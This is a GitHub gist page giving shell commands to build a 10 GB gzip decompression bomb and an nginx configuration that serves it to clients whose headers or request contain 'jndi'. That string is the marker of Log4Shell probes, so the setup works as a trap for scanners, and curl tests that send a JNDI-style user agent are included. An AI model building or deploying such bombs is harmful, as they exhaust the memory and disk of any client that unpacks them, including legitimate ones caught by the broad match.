Skip to content

Instantly share code, notes, and snippets.

@elisei
Forked from shipilev/jndi-response.md
Created January 28, 2022 13:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save elisei/2114ec523d2b70e93d9e456313b471cb to your computer and use it in GitHub Desktop.
Save elisei/2114ec523d2b70e93d9e456313b471cb to your computer and use it in GitHub Desktop.
  1. Generate the file:
$ awk 'BEGIN { for(c=0;c<10000000;c++) printf "<p>LOL</p>" }' > 100M.html
$ (for I in `seq 1 100`; do cat 100M.html; done) | pv | gzip -9 > 10G.boomgz
  1. Check it is indeed good:
$ zcat 10G.boomgz | pv | wc
...
      0       1 10000000000
  1. Put the field in the wwwroot

  2. Hook it up to nginx

server {
  ...
  
  # Hi there, looking for some trouble?
  if ($http_user_agent ~* jndi) {
    rewrite ^(.*)$ /10G.boomgz;
  }
  if ($http_referer ~* jndi) {
    rewrite ^(.*)$ /10G.boomgz;
  }
  if ($request ~* jndi) {
    rewrite ^(.*)$ /10G.boomgz;
  }

  location ~* \.boomgz$ {
    add_header Expires "Sat, 1 Jan 2000 00:00:00 GMT"; # No caching.
    add_header Content-Encoding gzip;                  # Yup, that's a GZIP bomb. I mean, GZIP *stream*, take it.
    add_header Content-Type text/html;                 # Have a nice browser? Let it render stuff.
    limit_rate 100k;                                   # But wait, wait! The good part is coming any minute now.
  }
}  
  1. Test it works
# Estimate: on-the-wire transfer
$ curl -s -L hostname -A "\${jndi:lolwat}" | pv > /dev/null

# Estimate: unpacked contents seen from client
$ curl -s --compressed -L hostname -A "\${jndi:lolwat}" | pv > /dev/null
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment